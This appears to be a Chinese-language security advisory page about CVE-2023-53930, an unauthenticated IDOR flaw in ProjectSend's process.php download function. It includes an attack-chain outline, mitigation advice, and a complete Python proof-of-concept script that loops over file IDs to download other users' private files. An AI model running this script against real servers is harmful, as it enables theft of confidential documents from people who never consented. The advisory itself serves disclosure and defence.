IPBUF安全漏洞报告
English
CVE-2023-53930 CVSS 7.5 高危

CVE-2023-53930 ProjectSend IDOR漏洞导致未授权文件下载

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53930
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ProjectSend

相关标签

IDOR不安全的直接对象引用文件下载未授权访问信息泄露ProjectSendCVE-2023-53930高危漏洞

漏洞概述

CVE-2023-53930是ProjectSend r1605版本中存在的一个高危安全漏洞,属于不安全的直接对象引用(IDOR)类型。该漏洞允许未经身份验证的远程攻击者无需任何权限即可访问和下载系统中任意用户的私有文件。由于ProjectSend是一款常用的开源文件共享和传输工具,用户通常使用它来分享敏感文档和机密资料,因此该漏洞可能导致严重的敏感信息泄露风险。攻击者只需构造特定的HTTP请求,通过遍历或猜测文件ID参数,即可获取本应受保护的文件内容。该漏洞无需用户交互,攻击门槛低,危害性极大。

技术细节

该漏洞存在于ProjectSend的process.php文件中,具体问题在于下载功能模块对用户请求的文件ID参数缺乏有效的授权验证。当用户请求下载文件时,系统仅根据请求中提交的'id'参数来定位文件,而未验证当前请求者是否拥有该文件的访问权限。攻击者可以通过以下方式利用此漏洞:1) 注册普通账户或直接使用匿名访问;2) 遍历系统的文件ID(如1,2,3...);3) 向process.php?act=download&id=[目标ID]发送请求;4) 系统直接返回文件内容而不验证访问权限。由于系统设计缺陷,即使文件设置为私有可见,攻击者仍可通过IDOR漏洞获取。CVSS评分7.5,主要影响系统的机密性(高),完整性和可用性不受影响。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站ProjectSend,无需注册或登录
STEP 2
步骤2
攻击者获取有效用户账户或直接使用匿名访问权限
STEP 3
步骤3
攻击者构造恶意HTTP请求,访问process.php文件,添加act=download参数和目标文件ID
STEP 4
步骤4
系统根据请求中的ID参数定位文件,由于缺少访问控制验证,直接返回文件内容
STEP 5
步骤5
攻击者通过遍历或猜测ID参数,批量下载系统中其他用户的私有文件
STEP 6
步骤6
攻击者获取敏感信息(如个人隐私文档、商业机密等),造成数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53930 PoC - ProjectSend IDOR File Download # Target: ProjectSend r1605 # Vulnerability: Insecure Direct Object Reference in process.php def exploit(target_url, file_id): """ Exploit IDOR vulnerability to download arbitrary files by manipulating the 'id' parameter in download request """ # Construct download URL download_url = f"{target_url}/process.php" # Prepare request parameters params = { 'act': 'download', 'id': file_id } try: # Send request without authentication response = requests.get(download_url, params=params, timeout=10) # Check if file download was successful if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_disposition = response.headers.get('Content-Disposition', '') # If response contains file content if 'application' in content_type or 'attachment' in content_disposition: print(f"[!] File ID {file_id} - Download successful!") print(f"[+] Content-Type: {content_type}") print(f"[+] Content-Disposition: {content_disposition}") print(f"[+] Content-Length: {len(response.content)} bytes") return True elif len(response.content) > 0: print(f"[!] File ID {file_id} - Possible file content retrieved") print(f"[+] First 200 bytes: {response.content[:200]}") return True else: print(f"[*] File ID {file_id} - Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error accessing File ID {file_id}: {e}") return False def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [start_id] [end_id]") print(f"Example: python {sys.argv[0]} http://target.com/projectsend 1 100") sys.exit(1) target = sys.argv[1].rstrip('/') start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end_id = int(sys.argv[3]) if len(sys.argv) > 3 else start_id + 50 print(f"[*] Starting IDOR scan on {target}") print(f"[*] Scanning file IDs from {start_id} to {end_id}") for file_id in range(start_id, end_id + 1): exploit(target, file_id) if __name__ == '__main__': main()

影响范围

ProjectSend r1605及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制process.php的直接访问,配置Web服务器规则阻止对download参数的直接请求;2) 启用IP白名单或地理限制;3) 临时关闭文件共享功能;4) 对所有上传文件启用加密存储;5) 增强Web应用防火墙(WAF)规则,监控异常的ID参数请求模式;6) 实施多因素认证增加访问门槛。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表